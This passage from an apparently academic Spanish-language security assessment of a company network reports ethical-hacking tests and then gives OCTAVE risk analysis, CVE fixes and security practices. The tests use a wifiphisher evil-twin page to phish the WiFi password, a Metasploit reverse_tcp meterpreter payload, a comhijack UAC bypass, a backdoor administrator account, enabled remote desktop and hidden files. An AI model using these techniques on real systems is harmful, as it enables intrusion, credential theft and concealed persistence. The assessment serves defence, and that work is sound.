tipo de informacién que manejo el evaluador durante las pruebas de hacking

ético.

PRUEBA B: Es el resultado de obtener el usuario y la contrasefia de
administrador del ruteador principal como también del ruteador de restaurante, a
través de la explotacion de una vulnerabilidad localizada en el puerto 8291, para

mayores detalles consultar la pagina 95 y 96.
Tabla 25.

Pruebas de Penetracién Aplicadas en la Empresa — Irrupcién Inaldmbrica

Nombre Prueba: OBTENER CREDENCIALES DE LA RED
A INALAMBRICA

Resumen dela Utilizando la herramienta de pruebas de penetracion
Prueba wifiphisher y mediante antenas wifi (capturar, clonar) un
punto de acceso real, suplantarlo con el fin de generar una

pagina web falsa cuyo objetivo es obtener la contrasefia

de la red.
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Alcance de la

Prueba

Utilizar 2 antenas wifi para clonar un punto de acceso y
des autenticar a los usuarios del punto de acceso real a
través de la herramienta wifiphisher. Utilizar el phishing
web en algunos teléfonos inteligentes para obtener
credenciales de la red oficina y acceder a la misma

utilizando ingenieria social.

Herramientas

Utilizadas

Kali Linux 2018.2 - Wifiphisher -
NetworkS036H - TP-LINK WN722N)

antenas (Alfa

Fecha Prueba

Inicio

19/11/2018 Fecha  19/11/2018
Prueba

Fin

Resultado de

Prueba

Tanto los usuarios Android como IOS al conectarse a la
red falsa se les presento una pantalla la cual solicitaba
ingresar una contrasefia para completar una supuesta
"actualizacion de firmware". La contrasefia fue capturada

por la herramienta de wifiphisher.

Vulnerabilidades

Identificadas

e Ruteador Solucién e Registrar
Inalambrico, direcciones
enfocado para MAC de los
usarse en el equipos
hogar. conectados al

e Administracién ruteador.
de seguridad Habilitar una
deficiente. red de

e Uso y invitados para

aplicacion de aislar lared de
Ingenieria la empresa a
Social usuarios

externos.
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Pruebas de Penetracidon Aplicadas en la Empresa — Ganar Acceso al

Computador Victima

Nombre Prueba:
B

GANAR ACCESO AL COMPUTADOR DEL USUARIO

Resumen de la

Prueba

A través de un ejecutable corrupto el cual abre una

conexion TCP inversa, controlar y escalar en privilegios.

Alcance de la

Prueba

Utilizando la herramienta de metasploit generar un
ejecutable corrupto para el usuario, configurar la sesién en
Kali Linux y dejarlo en escucha. Una vez que el usuario
abre el ejecutable la sesion entra en una sesion con las
capacidades limitadas para posteriormente escalar en

privilegios.

Herramientas

Utilizadas

Kali Linux 2018.2 - Metasploit — multi/handler — payload

windows/meterpreter/reverse_tcp.

Fecha Prueba

Inicio

22/11/2018 Fecha 22/11/2018
Prueba
Fin

Resultado de

Prueba

Se capturo la sesion del usuario y se puede ejecutar el
simbolo del sistema de Windows 10 como usuario
administrador, se tiene acceso total al computador.

Vulnerabilidades

Identificadas

o El usuario Solucion e Cuenta de
cuenta con usuario y que
privilegios de esta  cuente
administrador. con privilegios

e Los usuarios para limitar

tienen acceso descargas vy
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total para sitios ajenos a
descargar su trabajo.
archivos  del e Fijar

internet y Unicamente

ejecutarlos. permisos y
privilegios para
el

administrador

Tabla 27.

Pruebas de Penetracién Aplicadas en la Empresa — Escalar Privilegios

Nombre Prueba: ESCALAR PRIVILEGIOS

C

Resumen de la

Prueba

En base al resultado anterior, se utilizara un médulo de
vulnerabilidad conocido como comhijack para omitir el

control de acceso de usuario y escalar en privilegios.

Alcance de la
Prueba

Con una sesion de TCP inversa abierta, generar una
sesion 2 para cargar el médulo comhijack y ejecutar un
bypass que permita omitir el control de acceso de usuario

y escalar hasta llegar al privilegio NT AUTHORITY.

Herramientas

Utilizadas

Kali Linux 2018.2 - Metasploit — ByPass Comhijack.

Fecha Prueba

Inicio

22/11/2018 Fecha 22/11/2018
Prueba

Fin

Resultado de

Prueba

Se escalaron privilegios, se verifica a través del comando
getuid, alcanzé el perfil NT AUTHORITY. Se tiene acceso
total al computador.

Solucién
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Vulnerabilidades e EI usuario e Fijar

Identificadas cuenta con Unicamente

privilegios de permisos y
administrador. privilegios para
el

administrador.

Tabla 28.

Pruebas de Penetracién Aplicadas en la Empresa — Comprometer Usuarios de

Forma Remota

Nombre Prueba: COMPROMETER USUARIOS DE FORMA REMOTA

D

Resumen de la

Prueba

Mantener una puerta trasera para la creacion de un

usuario a través de la consola de comandos.

Alcance de la
Prueba

Mantener una sesién de metasploit y en base a los

comandos de Windows crear un usuario de forma remota.

Herramientas

Utilizadas

Kali Linux 2018.2 - Metasploit - Shell

Fecha Prueba

Inicio

22/11/2018 Fecha 22/11/2018
Prueba

Fin

Resultado de

Creacion del nuevo usuario con éxito a través del simbolo

Prueba del sistema de Windows, se tiene control total del
computador.
Vulnerabilidades e El usuario Solucion e Fijar
Identificadas cuenta con Unicamente

permisos y
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privilegios de privilegios para
administrador. el

administrador.

Tabla 29.

Pruebas de Penetracion Aplicadas en la Empresa — Habilitar y Mantener una

Sesioén

Nombre Prueba: HABILITAR Y MANTENER UNA SESION
E

Resumen dela En base al nuevo usuario creado, este puede ser capaz

Prueba de habilitar el control remoto del sistema a partir del uso

de la consola de Windows.

Alcancedela  Agregar al nuevo usuario al grupo administradores y
Prueba usuarios de escritorio remoto mediante el uso de la
consola de Windows, adicionalmente habilitar en el

registro la opcion de asistencia remota.

Herramientas Kali Linux 2018.2 — Metasploit - Shell

Utilizadas
Fecha Prueba 22/11/2018 Fecha 22/11/2018
Inicio Prueba

Fin

Resultado de  Se habilito el check de “Permitir las Conexiones remotas
Prueba a este equipo” a través del simbolo de sistema, se puede
acceder al computador de forma remota con un usuario

creado por el atacante, se tiene acceso total como

administrador.
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Vulnerabilidades

Identificadas

El usuario Solucién

cuenta  con
privilegios de

administrador.

Fijar
Unicamente
permisos y
privilegios para
el
administrador.
Capacitar y
conocer los
diferentes tipos
de robo de
informacion  al
personal,
ademas
restringir el uso
del simbolo del
sistema de
Windows para
cualquier

usuario.

Tabla 30.

Pruebas de Penetracion Aplicadas en la Empresa — Cubrir Huellas

Nombre Prueba:
F

CUBRIR HUELLAS

Resumen de la

Prueba

utilizados para la puerta trasera.

Ocultar y cambiar de sitio los ejecutables y elementos

Alcance de la
Prueba

la consola de Windows.

Ocultar la carpeta que contiene los ejecutables a partir de
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Herramientas

Utilizadas

Kali Linux 2018.2 - Metasploit — Shell

Fecha Prueba

Inicio

22/11/2018 Fecha
Prueba

Fin

22/11/2018

Resultado de

Prueba

A través del simbolo del sistema se pueden ocultar

carpetas y archivos del computador. Se tiene acceso total

como administrador.

Vulnerabilidades

Identificadas

e Puerta trasera Solucion o
aplicada,

verificar

actualizaciones

de seguridad.

Capacitar y
conocer los
diferentes
tipos de robo
de
informacion al
personal,
ademas
restringir el
uso del
simbolo  del
sistema de

Windows.
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Figura. 79. Representacion de vulnerabilidades aplicado por la “Metodologia de

Pruebas de Penetracion”
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4. DESARROLLO DE ESTRATEGIAS Y PLANES DE SEGURIDAD (Fase 3:

Octave)
Proceso 1: i al Area Directi
Proceso 2: i al Area Of
3: 3 i al Area

de todas las encuestas

-~

Proceso 7: Andlisis de Riesgos - Perfiles de Riesgo

Preparacion
Proceso 8: Desarrollo de Estrategias de Proteccion

(.

Proceso 5: Identificaciéon de componentes clave
Proceso 6: Aplicacion de la Metodologia de Pruebas de Penetracion (ISSAF)

Figura. 80. Fase 3 — Metodologia Octave — Desarrollo de Planes y Estrategias

de Seguridad.
Adaptado de Alberts et al., 2001, p.5

4.1 Proceso 7: Octave - Realizar un andlisis de riesgos

/ \

Proceso 8: Desarrollo de Estrategias de Proteccion

[Proceso 7: Andlisis de Riesgos - Perfiles de Riesgﬂh

(N A

Figura. 81. Fase 3 — Metodologia Octave — Andlisis y Perfiles de Riesgo.

Adaptado de Alberts et al., 2001, p.5



111

La tabla 31, se obtiene a partir de contabilizar las pruebas de penetracion y
vulnerabilidades encontradas en la aplicacion de la metodologia de ISSAF, los
resultados de cada prueba y vulnerabilidad se encuentran clasificados como
(Alto, Medio, Bajo).

Tabla 31.

Contabilizacion de Vulnerabilidades y Pruebas de Penetracion

ACTIVOS CRITICOS

. . . Sistema
Riesgo | Equipos Servidor de Software
] Computadores | Gestor
de Red | Almacenamiento ERP POS

VULNERABILIDAD

PRUEBA DE
PENETRACION

En la figura 82, se puede observar que la mayor afectacion ocurre en los equipos
de red por el aprovechamiento de vulnerabilidades, para pruebas de hacking
ético el mayor nimero de incidentes se presentan en los computadores del
personal, sin embargo, para que esto Ultimo ocurra se tuvo que ingresar a la red
la empresa por lo tanto el desencadenamiento surge a partir de la irrupcion en la

red inalambrica de la empresa.

Pruebas de Penetracion

B PRUEBA DE PENETRACION BAJO m PRUEBA DE PENETRACION MEDIO m PRUEBA DE PENETRACION ALTO

B VULNERABILIDAD BAJO VULNERABILIDAD MEDIO B VULNERABILIDAD ALTO

Software POS
Sistema Gestor ERP
Computadores

Servidor de Almacenamiento

Equipos de Red

Figura. 82. Fase 3 — Grafica Resultados de Pruebas de Penetracion
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4.1.1 Diagrama de Red - Riesgos

Los siguientes diagramas permiten representar de manera grafica los sitios con
un mayor nivel de riesgo para los activos de la empresa. Cada activo tiene
asignado un color el cual fue asignado en base al resultado de las pruebas de
penetracion de ISSAF.

RED EMPRESA - 192.168.1.X

moédem ADSL 2+

g

192.168.1.1

-j Ruteador

Principal
Restaurante

Contabilidad

RIESGO BAJO
. RIESGO MEDIO

. RIESGO ALTO

Figura. 83. Topologia de Red — Oficinas a partir de los riesgos recopilados.
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RED EMPRESA - 192.168.1.X

Linux CentOS R5 - MAIL

modem ADSL +2 192.168.1.10
‘gg_, Windows Server 2008 SP1
~~ - Servidor de Archivos
192.168.1.13
DHCP Ruteador
1921681 1 Restaurante
Ruteador Principal
Pal | 192.168.1.100
2o ==] U
192.168.1.185 O
-’ —
Switch pet
OFICINAS Restaurante
192.168.1.179 - 253
O _m)
r—/
‘_'7—‘ ——
A Pedidos 3
Punto de Venta 1
/- iy
— ——
Punto de Venta 2 ~
Router Clientes
-
Pedidos 1 C '//
Pedidos 3
= |_  m
Pedidos 2 =J

SERVER ALOHA

D RIESGO BAJO
. RIESGO MEDIO

. RIESGO ALTO

Figura. 84. Topologia de Red — Restaurante a partir de los riesgos recopilados.
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4.1.2 Matriz de Analisis de Riesgos - Técnico

El resultado del Proceso 3: ISSAF — Identificacion de Vulnerabilidades, se
representa en la siguiente matriz la cual estd compuesta por los diferentes
niveles de riesgo técnico, como ya se explico en la tabla 24. En cada nivel se ha
colocado el identificador de cada vulnerabilidad (V1, V2, V3, etc.) en su color

correspondiente.
Tabla 32.

Matriz de Impacto Técnico VS Impacto Negocio basadas en las

Vulnerabilidades Analizadas

Riesgo de Negocio Riesgo de Riesgo de negocio
bajo negocio medio alto

oo 00000

técnico
Alto

Riesgo
técnico
Medio

Y-

técnico

Bajo

V1: Existe una vulnerabilidad conocida como desbordamiento de buffer SAMBA
y puede ser explotada en el ruteador principal, el atacante puede ejecutar codigo

arbitrario en el equipo. Para mayor detalle consultar pagina 71.

V2: Existe una vulnerabilidad conocida como lectura y escritura de archivos no
autenticados y puede ser explotada en el ruteador principal, el atacante obtiene
las credenciales del administrador (usuario y contrasefa). Para mayor detalle

consultar la pagina 71.
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V9: Una vulnerabilidad puede ser ejecutada debido a que el servidor de
almacenamiento cuenta con una version antigua, por lo que el atacante puede
aprovechar que el servidor se encuentra desactualizado y no cuenta con los
parches de seguridad para contrarrestar virus ransomware. Para mayor detalle

consultar la pagina 76.

V10: Una vulnerabilidad puede ser ejecutada debido a que el servidor de
almacenamiento no con una actualizacion de seguridad (SMB Server), el
atacante puede aprovechar que no se cuenta instalado este parche por lo que
puede ejecutar un paquete el cual permite recopilar informacion confidencial.

Para mayor detalle consultar la pagina 76.

V11: Una vulnerabilidad puede ser ejecutada debido a que el servidor de
almacenamiento tiene activado el RDP (Remote Desktop Protocol) el cual
permite que el atacante envié paquetes que pueden ejecutar cédigo arbitrario.

Para mayor detalle consultar la pagina 77.

V14: Existe una vulnerabilidad conocida como desbordamiento de buffer SAMBA
y puede ser explotada en el ruteador del restaurante, el atacante puede ejecutar

codigo arbitrario en el equipo. Para mayor detalle consultar la pagina 79.

V15: Existe una vulnerabilidad conocida como lectura y escritura de archivos no
autenticados y puede ser explotada en el ruteador del restaurante, el atacante
obtiene las credenciales del administrador (usuario y contrasefia). Para mayor

detalle consultar la pagina 80.

La representacion de las vulnerabilidades para aquellos riesgos ubicados en el
nivel de “Medio” y “Bajo” con los colores anaranjado y verde respectivamente, se
lo hace a través de la consulta en las paginas 71 a 80 — Proceso 3: ISSAF —
Identificacion de vulnerabilidades.
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4.1.3 Matriz de Analisis de Riesgos

La matriz de andlisis de riesgos permite determinar en base a la probabilidad de
la amenaza y la magnitud de dafio, el riesgo para los diferentes activos criticos
dentro de la empresa. La tabla 33, permite asignar una etiqueta (Alto, Medio,

Bajo) a los resultados obtenidos en la tabla 32.
Tabla 33.

Representacion del Impacto a través de un puntaje

Impacto Puntaje
Alto Mayor o igual que 7
Medio Desde 4 al 6
Bajo Desde 1 al 3

El riesgo mas notable radica en los equipos de red, como se observa en la matriz
representada en la tabla 32, debido a que tales activos permiten la comunicacion
entre el personal y el uso indispensable del internet para la utilizacion del sistema
ERP. Cabe destacar que el software POS requiere una conexion de area local
permanente para su funcionamiento sincronizado entre las diferentes terminales

del restaurante.
Tabla 34.

Matriz Andlisis de Riesgos

. . Probabilidad de Amenaza
Activos Criticos

Puntaje Impacto Alto Medio Bajo
Equipos de Red 15 Alto

Software POS Manager 0 No Aplica

Sistema ERP 2 Bajo X
Servidor de Almacenamiento 3 Bajo X
Computadores 5 Medio X
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4.2 Proceso 8: Octave - Estrategias de Proteccion

’ \

Proceso 7: Andlisis de Riesgos - Perfiles de Riesgo

Proceso 8: Desarrollo de Estrategias de Proteccién h

A 4

Figura. 85. Fase 3 — Metodologia Octave — Desarrollo Estrategias de
Proteccion.
Adaptado de Alberts et al., 2001, p.5

Los siguientes términos fueron tomados como referencia por la metodologia

Octave y aplicadas al proceso de negocio de la empresa, estas son:

- Financiera
- Seguridad
- Productividad

- Confianza

4.2.1 Perfil de Riesgo - Equipos de Red

Los resultados obtenidos revelan que estos activos cuentan con el mayor nimero
de vulnerabilidades, ademas al no contar con una estructura de red o disefio que
brinde de todas las seguridades necesarias, la hace alin mas critica por lo que
en cualquier momento, se puede aprovechar de tales vulnerabilidades con el fin
de ocasionar graves dafios ya sea con la apropiacion de sesiones remotas, robo
de informacion o la interrupcién de servicios. Los equipos de red manejan y
mantienen la conectividad entre todas las areas de la empresa, el fallo de estos

equipos afectaria a los procesos del negocio produciendo perdidas econémicas.
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La falta de confianza falla a la mision y vision de la empresa que busca mantener
una buena relacion con el cliente, debido a los problemas que enfrenta la
infraestructura tecnologia, ademas de retrasos en los procesos para la
elaboracion de productos.

4.2.2 Perfil de Riesgo - Software POS Manager

A pesar de que esta area se administrado por otro ruteador, los resultados
obtenidos identifican que no cuenta con las actualizaciones necesarias por lo
que una vulnerabilidad de contrasefias puede ser explotada y por lo tanto
concurrir en los mismos problemas que el ruteador principal. Los equipos que

operan en esa red trabajan de forma directa con el proceso de negocio.

4.2.3 Perfil de Riesgo - Sistema ERP

Para este activo Unicamente se evaludé posibles intentos para obtener
credenciales en los computadores de los empleados, ya que el sistema como tal
se encuentra alojado y administrado por otra empresa de tecnologia. Los
resultados de pruebas de penetracidn determinaron que existe formas para
conectarse de manera remota a los computadores, capturar sesiones y accesos
debido a que el personal no tiene la suficiente capacitacion para manipular y

guardar contrasefas en sitios seguros.

4.2.4 Perfil de Riesgo - Servidor de Almacenamiento

Las vulnerabilidades encontradas en este activo se enfocan mas en una falta de
actualizacion a nivel de software y hardware, actualmente se lo utiliza
Gnicamente para realizar consultas de informacién. Tales vulnerabilidades
pueden aprovechar y capturar sesiones remotas. Ademas, se ha comprobado
que ciertos servicios deben ser deshabilitados para no verse afectados por

malware o ataques relacionados con WannaCry.

4.2.5 Perfil de Riesgo - Computadores

Ciertos equipos no poseen las ultimas actualizaciones de Windows, los

empleados cuentan con permisos de administrador por lo que se pueden
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presentar problemas como pérdidas, destruccion o visualizacion de informacion
critica, es necesario seguir las practicas estratégicas recomendadas, aquellas
gue puedan ayudar a la empresa con la finalidad de corregir tales debilidades en

sus empleados.

4.2.6 Perfil de Riesgo - Disefio de Red LAN

Se recomienda utilizar un disefio jerarquico de dos niveles para la red de la

empresa y que esté conformado de la siguiente manera:

e Utilizar una capa de acceso que permita la conectividad entre todos los
dispositivos (computadores, impresoras, etc.) de los empleados y
usuarios. (Nivel 1).

e Utilizar una capa de distribucion y “nucleo contraido” que permita filtrar el
tréfico entrante y saliente con la finalidad de administrar la seguridad de

la red a través de politicas ademas del control (Nivel 2).
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4.2.7 Soluciéon de Vulnerabilidades

La tabla 35 presenta las soluciones para la correccion de las vulnerabilidades

presentes en los activos criticos.
Tabla 35.

Soluciones para las Vulnerabilidades encontradas

ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION | REFERENCIA
ANALIZADO IP
Ruteador Principal | 192.168.1.1 Desbordamiento | Actualizar la | CVE-2018-
de Bufer | version 7445
SAMBA. RouterOS
superior a
6.41.3
Lectura y | Actualizar la | CVE-2018-
escritura de | version 14847
archivos RouterOS
arbitrarios no | superior a
autenticados de | 6.40.8
Ruteador.
Divulgacion de | No  permitir
informacion acceso
remota de | publico para
indagacion  de | realizar la
caché de | recursividad
servidor DNS. | de servidores
(DNS Cache | DNS 0
Spoofing). deshabilitarla
Servidor DNS | Deshabilitar
activado. este servicio

Si no es

necesario.
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Deteccion del
servidor DHCP.

Filtrar la
informacion
para
mantenerla
fuera de la
red y eliminar
cualquier
opciébn  que
no esté en

uso.
ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION REFERENCIA
ANALIZADO IP
Ruteador 192.168.1.3 Reenvio de IP | Se CVE-1999-
Inaldmbrico habilitado. recomienda 0511

que

deshabilite el

reenvio de IP
ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION REFERENCIA
ANALIZADO IP
Ruteador 192.168.1.4 Reenvio de IP | Se CVE-1999-
Inaldmbrico habilitado. recomienda 0511

que

deshabilite el

reenvio de IP
ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION REFERENCIA
ANALIZADO IP
Ruteador 192.168.1.5 Divulgacion de | No  permitir
Inalambrico informacién remota | acceso

de indagacion de
caché de servidor
DNS. (DNS Cache
Spoofing)

publico para
realizar la
recursividad
de servidores
DNS.
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ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION REFERENCIA
ANALIZADO IP
DATASERVER 192.168.1.10 | Sistema Operativo | Actualizar a
Unix cuya version | la version de
CentOS 5 no es | CentOS706
compatible con el
scanner por ser muy
antigua.
ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION REFERENCIA
ANALIZADO IP
DATASERVER 192.168.1.13 | Actualizacion de | Descontinuar | CVE-2017-
seguridad para el |el uso de | (143, CVE-
servidor de Microsoft | SMBv1l, se 2017-
Windows SMB recomienda 0144, CVE-
bloquear 2017-
samba
directamente 0145, CVE-
bloqueando 2017-
el puerto 445, 0146, CVE-
en caso de | 2017-
versiones 0147, CVE-
antiguas 2017-0148
como 2008.
ACTIVO DIRECCION | VULNERABILIDAD | SOLUCION REFERENCIA
ANALIZADO IP
DATASERVER 192.168.1.13 | Vulnerabilidades en | Aplicar el | CVE-2012-
el escritorio remoto | parche o | 0002, CVE-
podrian permitir la | actualizacién | 2012-0152

ejecucién remota de

cédigo

de seguridad.
Bloquear el
uso del
puerto
3389/tcp.
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ACTIVO
ANALIZADO

DIRECCION
IP

VULNERABILIDAD

SOLUCION

REFERENCIA

SWITCH

192.168.1.11
1

Usuario y contrasefia
por defecto de

fabrica.

Cambiar la
contrasefa

por defecto
del usuario

admin

ACTIVO
ANALIZADO

DIRECCION
IP

VULNERABILIDAD

SOLUCION

REFERENCIA

COMPUTADORE

S

192.168.1.14
7

192.168.1.7

Actualizacion de
seguridad para el
servidor de Microsoft
Windows SMB

Actualizacion

de seguridad:

Windows 7:
KB4019264

Windows 10:
KB4019474

Windows 10
version 1511:
KB4019473

Windows 10
versiéon 1607:
KB4019472

Windows 10
versiéon 1703:
KB4016871

CVE-2017-
0267, CVE-
2017-

0268, CVE-
2017-

0269, CVE-
2017-0270

ACTIVO

ANALIZADO

DIRECCION
IP

VULNERABILIDAD

SOLUCION

REFERENCIA

Ruteador

Restaurante

192.168.1.10
0

Desbordamiento
de Bufer
SAMBA.

Actualizar la
version
RouterOS
superior a
6.41.3

CVE-2018-
7445
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Lectura y
escritura de
archivos

arbitrarios no
autenticados de

Ruteador.

Actualizar la
version
RouterOS
superior a
6.40.8

CVE-2018-
14847

Divulgacion de
informacion

remota de
indagaciéon  de
caché de
DNS.

Cache

servidor
(DNS
Spoofing)

No
permitir
acceso
publico
para
realizar la
recursivid
ad de
servidore
s DNS o
deshabilit

arla.

Servidor DNS

activado.

Deshabili
tar este
servicio

si no es
necesari

0.

Deteccion del
servidor DHCP

Filtrar la
informaci
6n para
mantener
la fuera
de la red
y eliminar
cualquier
opcion

que no
esté en

uso
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4.2.8 Practicas Estratégicas — Metodologia Octave

Para la empresa se recomienda aplicar las siguientes practicas estratégicas,
estas fueron seleccionadas de acuerdo con las respuestas que se obtuvieron de
las encuestas aplicadas a los directivos, Tl y general. En este caso se han
publicado las recomendaciones para aquellas preguntas que obtuvieron un “NO”

0 “No Sabe” como respuesta.

4.2.8.1 Practicas Estratégicas

SP1.1 El personal debe comprender el rol gue maneja dentro de la empresa por
lo que todos deberian concienciar el tipo de informacion que manejan ya sea
critica o no critica, la finalidad de aplicar esta practica es evitar que se exponga
informacion que permita crear un perfil de ataque para empleados, equipos y

software de la empresa.

SP1.3 Debe existir la conciencia sobre la seguridad informatica por lo que se
debe realizar una capacitacion al personal, esta debe incluir:

- Reglamentos de seguridad y manipulacién de informacion.

- Planes de recuperacion ante desastres.

- Manejo de informacién critica.

- Aplicacion de herramientas o sistemas para la administracion en las
redes.

- Documentar procesos de mantenimiento.

- Utilizar y aplicar arquitecturas de disefio de red.

SP3.1 Asignar un fondo necesario para actividades relacionadas con la
seguridad informatica y seguridad de la informacion.

SP3.5 La empresa debe administrar los riesgos de seguridad a traves de:

- La actualizacion periddica de conocimientos a sus empleados.
- El mantenimiento constante de software y hardware.
- Los riesgos deben ser aceptables y manejarlos.

- Respuestas inmediatas ante cambios de tecnologia.
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SP3.6 Se debe actuar en base a informes de manera oportuna cuando se

presenten:

- Vulnerabilidades de hardware y software.
- Incidentes.

- Planes de mejora de la seguridad.
SP4.1 Aplicar politicas de seguridad como:

- Estrategias para la administracion y gestion de seguridad de la red.

- Seguridad fisica para equipos.

- Sensibilizacion y formacion ante riesgos de seguridad informatica a
empleados.

- Planificacion de contingencia y recuperacion ante desastres, utilizar
estrategias para backup de informacién.

- Evitar escribir contrasefias en sitios faciles de encontrar tanto de forma
fisica como electrénica.

- Anomalias tecnoldgicas que vayan fuera de su area de trabajo, deben ser
reportadas al administrador.

SP4.3 Se debe contar con politicas que sean actualizadas de manera constante.

SP 5.1 La empresa debe asegurar y monitorear la informacién cuando se trabaja

con organizaciones externas con el fin de protegerla.

SP 6.1 Realizar un analisis de las operaciones, aplicaciones y criticidad de los

datos cada cierto tiempo o cuando se crea conveniente si la tecnologia cambia.
SP 6.2 La empresa debe documentar lo siguiente:

- Planes de operaciones de emergencia.
- Planes de recuperacion ante desastres.

- Planes de contingencia para responder ante emergencias.

SP 6.5 El personal debe ser consciente y capacitarse a través de:
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- Planes de contingencia, recuperacion de desastres y continuidad del

negocio.
4.2.8.2 Practicas Operativas

OP 2.1.1 Contar con planes de seguridad que salvaguarden los sistemas y la
red.

OP 2.1.2 Cualquier tipo de plan como contingencia, recuperacion, etc., deben

ser revisados de manera periddica, aprobados y actualizados.

OP 2.1.6 Contar con un plan de copias de seguridad en computadores y

sistemas.

OP 2.1.9 El personal de Tl deben utilizar procedimientos al emitir cambios,

eliminacién de usuarios, contrasefas, cuentas y privilegios.
- Por ejemplo, cuentas por defecto y contrasefas del sistema.

OP 2.1.10 Solo los servicios necesarios se deben estar ejecutando en el sistema,
los demas deben ser eliminados o desactivados.

OP 2.3.1 Se deben utilizar herramientas para el monitoreo de la red algunas de

estas pueden ser para supervisar:

- Actividades del personal de TI.
- Actividades de la red y del sistema asi también para sus empleados.
- Registros de forma regular y cuando se presenten anomalias en la red.

- Las herramientas son revisadas y actualizadas de manera periddica.

OP 2.4.1 Aplicar controles de acceso apropiados y autenticacion de usuarios

como permisos de archivos cuyo objetivo es restringir el acceso a:

- Informacién critica.
- Utilidades del sistema.
- Sistemas sensibles.

- Aplicativos y servicios especificos.
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- Conexiones de red dentro de la empresa.

- Conexiones de red desde afuera de la empresa.

OP 2.6.1 Aplicar controles de seguridad adecuados para proteger la informacién

sensible, durante la transmision y almacenamiento esto incluye:

- Cifrado de datos durante la transmision.
- Cifrado de datos cuando se escriben en el disco.

- Tecnologia de red privada virtual (VPN).

OP 2.7.2 La empresa debe contar con diagramas de arquitectura y topologia de

red actualizados que demuestran la seguridad en toda la empresa.

OP 3.1.1 Los miembros de Tl deben informar sobre procedimientos para
identificar, informar y responder a incidentes como violaciones de seguridad eso

incluye:

- Incidentes basados en la red.
- Incidentes de acceso fisico.

- Incidentes de Ingenieria Social.

OP 3.2.1 Los miembros del personal deben seguir las buenas préacticas de

seguridad, tales como:

- Manejar la informacién de forma responsable.

- No divulgacién de informacion sensible a los demas, resistencia a la
ingenieria social.

- Tener la capacidad suficiente para utilizar la informacién de hardware y
software.

- El uso de las buenas practicas de contrasefias.

- El reconocimiento y la comunicacion de incidentes.
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5. CONCLUSIONES Y RECOMENDACIONES

5.1 Conclusiones

El resultado de la aplicacion de ambas metodologias de Octave e ISSAF
permitieron identificar los principales activos criticos de la empresa, ademas se
pudo crear sus correspondientes perfiles de amenazas y simular un ataque a la
red con el objetivo de obtener una solucién a las distintas vulnerabilidades

presente en sus activos criticos.

El uso del método cualitativo permiti6 manejar una mejor comunicacién con todo
el personal de la empresa, ya que se pudo establecer pardmetros basicos que
debian cumplir cada uno de los activos permitiendo clasificarlos y evaluarlos de
mejor forma sin la necesidad de utilizar en su mayor parte términos técnicos que

estén fuera de su comprension.

El ataque informéatico enfocado a las redes inalambricas se pudo llevar a cabo
debido a que, la empresa tenia activado el servicio de DHCP en los ruteadores
inalambricos para el hogar, tales equipos no cuentan con una administracion que
permita aplicar una politica de seguridad, por ejemplo la utilizacion de tablas de
direcciones MAC, esta herramienta hubiera restringido el acceso al atacante ya
gue su equipo no se encuentra registrado en la tabla de direcciones y por lo tanto
no podria acceder a la red ni obtener una direccion IP.

El resultado de la prueba B, mencionado en la fase 3 de ISSAF demuestra que
el evaluador obtuvo el acceso al ruteador principal de la empresa debido al
aprovechamiento de una vulnerabilidad de software en el sistema operativo de
un ruteador principal, el cual permitia conocer el nombre de usuario del
administrador y su contrasefa, para el caso de los computadores en aquellos
gue fueron ejecutados un programa de escucha se obtuvo acceso al simbolo del
sistema e ir escalando hasta obtener el privilegio de administrador tal y como se

menciona en el proceso 5 de ISSAF.

La documentacion obtenida permitié que los administradores puedan ejecutar

las soluciones correspondientes con el afan de mitigar y reducir los riesgos
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presentes en los activos criticos, adicionalmente la utilizacion de gréaficos ha
mostrado el proceso en el cual un atacante pudo escalar en privilegios, debido a
esto muchas de estas vulnerabilidades aprovechadas tienen su correspondiente

solucion en el capitulo 4.

Durante la aplicacién del proceso 4: ISSAF - Penetracion se observo que, los
Smartphones de Apple en la version de IOS 12 no muestran una notificacion de
“‘Red Insegura” al momento de conectarse de manera automatica a una red
suplantada, por lo que la victima ingenuamente procede a ingresar la contrasefia
del ruteador inalambrico, caso contrario en Smartphones con sistema operativo
Android donde si aparece una notificacion de “Red Insegura” que alerta al
usuario acerca de que el sitio web ha sido clonado, esta notificacion aparece
antes de que se cargue la pagina donde el atacante solicita ingresar la

contrasefa del ruteador inalambrico.

La empresa ha sabido protegerse ante posibles ataques del exterior sin que ellos
sean conscientes de este hecho ya a que su sitio web es administrado por otra
tercera empresa, debido a esto no se descubrid informacién relacionada con la
IP publica o con el servidor de la empresa, esto se demostrd durante la aplicacion

del proceso 1: ISSAF — obtener informacion.

5.2 Recomendaciones

Es necesario capacitar a todo el personal ya sea a través de charlas o talleres
gue les permitan identificar a tiempo posibles ataques informaticos provenientes
del exterior, la empresa puede invertir una cantidad razonable de recursos para
proteger su informacion a través de equipos tecnoldgicos y software

especializado.

Algunas de las recomendaciones ya han sido mencionadas durante el analisis
de las practicas estratégicas, algunas de ellas sugieren cambios en el disefio de
red o aplicar politicas de seguridad, todo esto con el afan de que la empresa

pueda aplicarlas en beneficio de sus empleados y clientes.
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ANEXOS



Anexo 1 - Practicas Estratégicas

Practicas Estratéqgicas

Entrenamiento y conciencia de seguridad (SP1)

SP1.1 El personal comprende su rol en la empresa y es responsable con la
seguridad informatica.

e Esto estd documentado y verificado.

SP1.2 La experiencia es adecuada para el manejo de los servicios,
mecanismos Yy tecnologias, incluyendo la seguridad en la operacion.

e Esto estd documentado y verificado.

SP1.3 Existe conciencia sobre la seguridad, capacitacion periddica del
personal.
e Esto estd documentado y verificado.
La capacitacion incluye los siguientes parametros:
e Estrategias de seguridad, metas y objetivos.
e Reglamentos de seguridad, politicas y procedimientos.
e Politicas y procedimientos para trabajar con externos.
e Planes de recuperacién ante desastres y contingencias.
e Requerimientos de seguridad fisica.
e Perspectiva de los usuarios:
o Sistema y administracion de la red.
o Sistema y herramientas para la administracion.
o Monitoreo y auditoria fisica e informacion de la seguridad
tecnoldgica.
o Autenticacion y autorizaciones.
o Administracion de vulnerabilidad.

o Encriptacion.

o Arquitectura y disefio.




Administracion de incidentes

Practicas del personal.

Sanciones por violaciones de seguridad.

Manejo de la informacion sensible incluido el area de trabajo.

Politicas de finalizacion y procedimientos relacionados con la seguridad.

Practicas Estratégicas
Administracion de la Seguridad (SP3)

SP3.1 Se asignan los fondos necesarios para actividades relacionadas con la

